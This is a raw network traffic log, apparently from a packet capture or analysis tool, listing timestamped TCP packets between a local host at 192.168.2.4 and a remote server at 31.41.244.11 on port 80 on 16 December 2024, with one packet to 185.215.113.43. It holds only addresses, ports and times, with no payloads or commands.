Dec 16, 2024 21:03:03.078041077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.078104019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.078803062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.078860998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.078936100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.078988075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.079895020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.079958916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.080017090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.080075026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.080665112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.080718994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.080718994 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.080766916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.081424952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.081475019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.081536055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.081583977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.082283974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.082329988 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.082406044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.082452059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.083276987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.083332062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.083441973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.083488941 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.084382057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.084428072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.084451914 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.084496975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.085203886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.085248947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.085340023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.085396051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.085922956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.085971117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.086003065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.086047888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.086741924 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.086786985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.086930990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.086978912 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.087707996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.087755919 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.087795973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.087847948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.088505983 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.088553905 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.088675022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.088721991 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.089359999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.089406967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.089832067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.089878082 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.090269089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.090315104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.090377092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.090420008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.091118097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.091164112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.091197968 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.091243982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.092020035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.092065096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.092185974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.092231035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.093393087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.093441010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.093502998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.093549013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.094163895 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.094208956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.094244957 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.094290972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.094765902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.094806910 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.094907999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.094954967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.095608950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.095655918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.095736027 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.095782995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.096501112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.096546888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.096584082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.096628904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.097332001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.097378016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.097438097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.097485065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.098201036 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.098248959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.098412991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.098459959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.099060059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.099104881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.099109888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.099154949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.099936962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.099983931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.100055933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.100109100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.100805044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.100852013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.100925922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.100970030 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.101706028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.101751089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.101838112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.101883888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.102710009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.102755070 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.102823019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.102869034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.103475094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.103521109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.103612900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.103657961 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.104403973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.104448080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.104597092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.104640961 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.105253935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.105298996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.105417013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.105465889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.106322050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.106367111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.106482983 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.106529951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.107058048 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.107103109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.107176065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.107222080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.107893944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.107943058 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.107978106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.108026981 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.108747959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.108803034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.254919052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.255072117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.255161047 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.255487919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.255547047 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.255711079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.255759001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.256256104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.256306887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.256515980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.256567001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.256645918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.257472992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.257519960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.257561922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.257611990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.258395910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.258450031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.258488894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.258533955 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.259186029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.259228945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.259493113 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.259547949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.260114908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.260163069 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.260217905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.261008024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.261056900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.261152029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.261198997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.261868954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.261919022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.261984110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.262032032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.262754917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.262803078 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.262938976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.262986898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.263699055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.263746023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.263755083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.263804913 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.264520884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.264539003 CET	49876	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:03:03.264556885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.264566898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.264599085 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.265573978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.265609980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.265626907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.265657902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.266299009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.266345024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.266433001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.266480923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.267126083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.267174959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.267335892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.267380953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.267999887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.268054962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.268078089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.268100977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.268891096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.268986940 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.269113064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.269795895 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.269850016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.269912958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.269961119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.270585060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.270627975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.270704031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.270751953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.271548033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.271600008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.271662951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.271708965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.272389889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.272516966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.272567034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.273449898 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.273502111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.273503065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.273549080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.274199963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.274247885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.274312973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.274362087 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.274998903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.275063992 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.275093079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.275139093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.275887966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.275939941 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.276002884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.276052952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.276772022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.276997089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.277049065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.277695894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.277746916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.277749062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.277798891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.278538942 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.278593063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.278640985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.278691053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.279603958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.279653072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.279731035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.279778004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.280385017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.280445099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.280474901 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.280524969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.281204939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.281253099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.281315088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.281363010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.282088995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.282138109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.282200098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.282248974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.282919884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.282964945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.283041954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.283092976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.283847094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.283895969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.283922911 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.283967018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.284717083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.285016060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.285069942 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.285572052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.285619974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.285819054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.285865068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.286523104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.286566973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.286631107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.286672115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.287399054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.287447929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.287511110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.287556887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.288254023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.288471937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.288522959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.289165974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.289216042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.289328098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.289375067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.290076971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.290122986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.290184975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.290235043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.290873051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.290930033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.290996075 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.291043043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.291779995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.291827917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.291834116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.291887999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.292655945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.292949915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.292999983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.293546915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.293596983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.293715000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.293761015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.294414043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.294461012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.294554949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.294600964 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.295380116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.295429945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.295474052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.295520067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.296170950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.296555042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.296605110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.297070026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.297127962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.297192097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.297240973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.297950983 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.297998905 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.298063993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.298119068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.298811913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.298858881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.298909903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.298953056 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.299730062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:03.299776077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:03.299849987 CET	80	49882	31.41.244.11	192.168.2.4
